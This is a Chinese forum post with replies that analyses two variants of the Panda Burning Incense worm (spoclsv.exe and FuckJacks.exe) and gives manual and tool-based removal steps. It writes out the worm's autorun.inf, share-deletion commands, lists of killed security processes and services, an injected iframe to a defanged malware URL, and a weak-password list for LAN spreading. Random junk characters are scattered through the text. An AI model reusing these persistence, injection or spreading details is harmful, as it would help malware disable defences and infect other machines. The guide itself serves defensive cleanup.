熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。

4 J* M: h1 Q- o5 e. Q2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
/ x6 L0 L/ p! x' X8 k9 [9 D　　"svcshare"="%System%\drivers\spoclsv.exe"

/ d2 w7 Q5 T- R- h/ C% y: }3.在各分区根目录生成病毒副本：　　X:\setup.exe
5 M+ M9 ^! _6 S' a3 ]) F　　X:\autorun.inf
autorun.inf内容：
[AutoRun]
　　OPEN=setup.exe
　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe

+ v3 H& K% g% x% \4.使用net share命令关闭管理共享：
cmd.exe /c net share X$ /del /y
- t/ H  i1 I1 i3 m3 W/ @　　cmd.exe /c net share admin$ /del /y
2 v1 O$ p$ ]/ ^
- E  [$ C- ^* R4 c- M9 a5.修改“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
! j2 K- I# s6 x; D, C　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000000

# _+ N# G% u1 Z" G( c6 I5 G6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
- F* V) w  W" a) m防火墙进程
VirusScan
, `: T/ P2 k# r, o( a; |NOD32
网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
QQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
% ]& ?* a, w2 ^+ q$ u8 ~6 vSymantec AntiVirus
Duba
6 h; U. B( o) W6 d0 J, pWindows 任务管理器
esteem procs
绿鹰PC
密码防盗噬菌体木马辅助查找器
System Safety Monitor
7 \2 A$ k7 Q* l. j& F, F  PWrapped gift Killer
/ B0 M& L5 o7 ]/ t" h1 ~/ k! W! T% j) sWinsock Expert
游戏木马检测大师超级巡警
msctls_statusbar32
& U, I2 O& \! d9 ^pjf(ustc)
' |7 d! ~% H! E+ [IceSword
% u! J! v. K$ \
" l! L: T$ K+ H& o7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
5 R$ }1 W- Z6 W( nMcshield.exe
+ p6 y) y5 G* R5 R　　VsTskMgr.exe
/ C4 q2 X$ A$ X) J　　naPrdMgr.exe
　　UpdaterUI.exe
% p' B+ J' v1 x; n1 |, g, h5 U# b　　TBMon.exe
' N7 ?9 {9 e. x  B/ N+ x& N$ ^# C$ r　　scan32.exe
　　Ravmond.exe
　　CCenter.exe
1 i" J' w) I; D9 T' v　　RavTask.exe
　　Rav.exe
) F' o) X4 l# R　　Ravmon.exe
　　RavmonD.exe
　　RavStub.exe
　　KVXP.kxp
' V( j2 Y8 @! G0 |1 b8 ]: q　　KvMonXP.kxp
! q# I4 K) w. R: k  V　　KVCenter.kxp
　　KVSrvXP.exe
% j6 g3 z: q; ?: k　　KRegEx.exe
　　UIHost.exe
* W- y: N$ ^0 o4 g& `　　TrojDie.kxp
: h: P0 w: ~( f3 m2 p& G  T1 A$ D　　FrogAgent.exe
- H& H1 s4 r" ?0 c8 |2 z; v2 c　　Logo1_.exe
5 a+ `4 @% q" ?' \% B5 Y" f　　Logo_1.exe
6 U' ]/ h3 O6 w* ?" k: A　　Rundl132.exe
' l8 Z+ F+ Y4 I4 n2 u
8.禁用安全软件相关服务：
Schedule
& d' Y, M& s+ s0 j/ i　　sharedaccess
$ s4 k3 ~  \& o1 k: W, H  S　　RsCCenter
　　RsRavMon
; {7 A) ~7 r: w3 T, v8 _4 ]　　KVWSC
　　KVSrvXP
　　kavsvc
. O! U. x) d4 }　　AVP
　　McAfeeFramework
　　McShield
　　McTaskManager
　　navapsvc
- @6 M. z( n) n/ D+ q6 ^+ l0 G9 U　　wscsvc
　　KPfwSvc
　　SNDSrvc
　　ccProxy
　　ccEvtMgr
　　ccSetMgr
　　SPBBCSvc
　　Symantec Core LC
　　NPFMntor
　　MskService
　　FireSvc
9 S3 a4 K) M/ B# G1 r1 s' Z3 a
( a. }1 ]7 B3 d; h9.删除安全软件相关启动项：
5 n2 Q: |# z7 I- D  }SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
( Y  b5 e5 K$ g' q) _8 L3 ~9 X　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
$ A, E+ L# z, R6 @8 Q　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
1 f- j- _! E$ mReporting Service
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
1 U6 a9 H) h, K! V　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
+ }" }0 o- q9 yC:\WINDOWS
　　C:\WINNT
3 c( X. |* D: g7 l( n　　C:\system32
　　C:\Documents and Settings
　　C:\System Volume Information
　　C:\Recycled
　　Program Files\Windows NT
: b0 q& _% a6 G5 ]  {: l6 E　　Program Files\WindowsUpdate
9 ^  {6 T0 W- f( q* ~9 Y  I" N9 \　　Program Files\Windows Media Player
　　Program Files\Outlook Express
9 l/ I) f  Q; W　　Program Files\Internet Explorer
　　Program Files\NetMeeting
　　Program Files\Common Files
　　Program Files\ComPlus Applications
  \1 i3 z9 y$ R7 K　　Program Files\Messenger
+ ]$ d4 B4 e; T% r! |　　Program Files\InstallShield Installation Information
　　Program Files\MSN
　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
3 {. L. ^9 I2 g! k! H1 t　　Program Files\MSN Gamin Zone
( U2 g. }% P! T6 B" \( |11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
/ z# d8 _/ S) s! I9 w5 V8 i12.此外，病毒还会尝试删除GHO文件。
病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
　　harley
　　golf
　　pussy
　　mustang
; M/ Z, B+ k) ]2 E　　shadow
0 I0 z) M; C* s* [& @0 B5 T6 Q　　fish
% Z/ \8 F5 M, G2 m) b　　qwerty
　　baseball
　　letmein
　　ccc
7 J1 c. U; Y7 O7 y　　admin
　　abc
! w  `8 l  N+ P$ c, C　　pass
　　passwd
; w% a9 k1 \- G. e6 ~7 C8 p% B+ A6 w　　database
　　abcd
5 q( |) r6 q2 y2 e( R　　abc123
　　sybase
0 J2 ~* n5 J. B' K　　123qwe
& H: r3 C( ^/ _( @8 X9 N3 Z" [　　server
　　computer
8 O# u% `$ V; h% P3 o　　super
; F" i* z* D  y$ [) Z　　123asd
　　ihavenopass
. O" l$ s1 {9 S" y2 C. t8 t　　godblessyou
* Y' m: C6 z; u% Y　　enable
3 f( h# ^" I4 O" N2 Z2 n　　alpha
& d% w7 w3 @/ I　　1234qwer
　　123abc
$ {" Q& D' e/ k+ z9 L　　aaa
8 s* a" y# s, V" C; L　　patrick
6 F: Z7 R& i4 w* i　　pat
& ^1 {0 D" W$ ?　　administrator
　　root
　　sex
& s& y4 n0 N( V' F7 Y　　god
- Q+ r3 Z" V( `8 k: X& v　　fuckyou
　　fuck
　　test
　　test123
7 z+ p2 R: T6 h2 t　　temp
　　temp123
　　win
" g. @) B# w; q0 d4 [0 {6 [( a" Q' t　　asdf
　　pwd
, c: I0 p7 G( X) T　　qwer
　　yxcv
　　zxcv
　　home
. J% l8 E4 ~7 r　　xxx
　　owner
; X5 {$ }' a: a. V6 c# f. P　　login
　　Login
7 X; O! a% P5 |+ e7 F- g. F　　love
% e! M7 ?+ O4 D  _" V　　mypc
" x( C% \0 W# [$ y) f+ {; S　　mypc123
　　admin123
　　mypass
$ I8 m$ O# x9 z# U, P  N0 v0 f　　mypass123
　　Administrator
% Q2 F! I* F( K" s& @　　Guest
　　admin
　　Root
  k/ E, f$ {" |/ ?" D1 W
3 X6 i: z7 n2 k9 N3 ?9 z( c病毒文件内含有这些信息：
9 z6 v( f; m5 W9 ?/ ^/ V. E
whboy
　　***武*汉*男*生*感*染*下*载*者***
解决方案：
7 t( ]- ~/ L8 T9 t0 M2 z
1. 结束病毒进程：
%System%\drivers\spoclsv.exe
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
1 u/ S( n! R; D3 w查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。

3 W) t: I* {& |- @  l/ [7 A2. 删除病毒文件：
$ x6 \& ~* l5 [$ D" D' W%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。

& L2 z3 o1 @6 C4 h! e& d& r$ a3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"

/ S( W* T, @2 A( c$ i; p4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
; X! N7 }. g) F6 Z5 |　　X:\autorun.inf
2 _1 J( i- Y) g" _" J6 U3 `) ]
5. 恢复被修改的“显示所有文件和文件夹”设置：
' Q5 D& z5 O" [, v[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
1 I/ U' Q& F* a2 H* \+ q$ v( h　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000001

6. 修复或重新安装被破坏的安全软件。

7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
, A! `+ P" n, z7 [8 F安天熊猫烧香病毒专杀工具
http://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
http://ec.jiangmin.com/test/PandaKiller.rar
) o8 ?3 I0 J4 H' c5 n, z瑞星熊猫烧香病毒专杀工具
( ^: l; X( w, k7 ohttp://download.rising.com.cn/zsgj/NimayaKiller.scr
+ D, U- y8 A% y  l' [! D0 q。也可用手动方法（见本文末）。

8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

/ d0 v3 C) ~3 K8 h熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”
/ }+ U- y8 h0 s5 ?2 J2 K1 P
7 T- C. t4 L# X1 \! {) X以下是数据安全实验室提供的信息与方法。
病毒描述：
( y9 o" N# c8 H, `含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
( c$ M  R% n$ {) a) O  U: B
病毒基本情况：
$ T7 F7 U0 r4 G/ a+ y9 t, e$ s
% M: i6 K# B7 l  w# W[文件信息]

* u& i, k. Q, C5 j0 W1 Z病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
　　壳信息: 未知　　危害级别：高
1 G, I% d9 a0 p( t' T7 K+ _
: i% G! ~- j, U& K! q9 m: Y; s% c病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
& V' }2 r2 V- [6 y　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
! v, }) Z6 s0 q3 Y; |. J　　危害级别：高
# Z# b" h. {: s( }
病毒行为：

  Y7 i1 ?& @  Y. i7 i% Y$ r5 GVirus.Win32.EvilPanda.a.ex$ ：
3 v/ b; @# e- ?6 e  D$ f' @# {' z
4 d% ~2 S% i) x% B7 f! D" y1 P1、病毒体执行后，将自身拷贝到系统目录：
) C3 [2 e0 }; |6 K$ W- I%SystemRoot%\system32\FuckJacks.exe


　　2、添加注册表启动项目确保自身在系统重启动后被加载：
! r: `0 E' N  I+ e5 m' `4 R; Y键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：FuckJacks
& y: \  [$ _& x  f　　键值："C:WINDOWS\system32\FuckJacks.exe"

  w  q6 V3 }# q9 A1 {键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
0 i, m1 F$ E" ^　　键名：svohost
/ @1 _5 L/ s' _$ Q1 m" w1 S　　键值："C:WINDOWS\system32\FuckJacks.exe"
5 }$ |! t4 H$ D( h) Y: @
3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
4 ~) g! x7 [' }! vC:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS
$ ]* |1 _) ^& [+ R5 Q( q3 M: v
0 g9 N, k0 C6 H4、关闭众多杀毒软件和安全工具。
2 }  U, L3 m4 U; [" @0 |8 c
8 U- G. T8 e5 N3 l* G$ A7 R7 ?: f7 F5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

, `5 ^$ x* `( p# z# O6、刷新bbs.qq.com，某QQ秀链接。
( j( h! d9 ^! Q1 Q* i! o$ R
7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。

Flooder.Win32.FloodBots.a.ex$ ：
( o( @- E: S0 e6 t! e! k+ h$ o
1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）

2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
" W+ a; p9 T& ?3 L% z　　键名：Userinit
5 ^2 o% y, y: h& W　　键值："C:WINDOWS\system32\SVCH0ST.exe"

* }' D) r9 a" t+ l8 E: u; y3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
4 R- j* M; a" D! W+ P/ I7 c5 i. q配置文件如下：
www。victim.net:3389
　　www。victim.net:80
0 H# Q7 t  S8 K2 b% B　　www。victim.com:80
4 ~4 P3 M& d, |　　www。victim.net:80
　　1
　　1
, ^& w$ t9 R! `' l& [0 C6 p3 s　　120
( z. c/ W5 x. J/ p; C# K　　50000
/ C' L/ v( f: d6 z" Q* c4 z
解决方案：

, u4 v' m4 u7 K9 J( S3 E1. 断开网络

, {. x, @6 a2 r" p4 w& b! W2. 结束病毒进程：%System%\FuckJacks.exe
7 R) f4 [% {- B9 b
) e& \% A6 O: h' ~9 x3. 删除病毒文件：%System%\FuckJacks.exe

$ S! }- ]# k! c$ Z4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
　　X:\setup.exe

5. 删除病毒创建的启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
" e9 j# }1 l* L- x1 I0 |/ G5 S9 O" s　　"FuckJacks"="%System%\FuckJacks.exe"
$ m1 |2 _0 [* |; F8 T" `- r  P[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
: Q: a4 Z# v9 P' D5 q8 o% Z　　"svohost"="%System%\FuckJacks.exe"
  Q" z0 u9 p& d; [$ W" r3 B
6. 修复或重新安装反病毒软件
6 R0 C7 S+ a0 t5 m5 u
" Y4 V( P+ O9 u3 z2 Q$ z2 O7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。

手动恢复中毒文件（在虚拟机上通过测试，供参考）

1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

, l, l- u( J2 X1 ^) V: M2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

; p* D; x2 ~) ~2 Y! {4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。
' }, D. V3 ^5 B# j$ ^
4 f9 m) Y7 r+ K) ~  A& D; [5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。
/ S6 j& p8 P6 s4 O
( t4 i5 f& H- `6 N  b就是将那个GHOST备份文件不要设置为后缀GHO
9 y: b8 P0 I  [1 s( H
你换一个后缀不就没事了吗？
& A1 Z, x0 E9 b3 [5 L# h4 {恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
, N) S2 |6 n% i# h5 X" ]) |. F7 t存的片子和游戏全没了！！气死我了！！！
& I0 A) V- t2 Z* h这病毒出现后没想到是金山反应最快~
5 v+ ~+ h: e: Z$ V" U1 F  S瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！
) |9 H3 @- q3 Q5 {/ q+ ?5 s( x4 f2 {

kk11qq

谢谢楼主的分享！！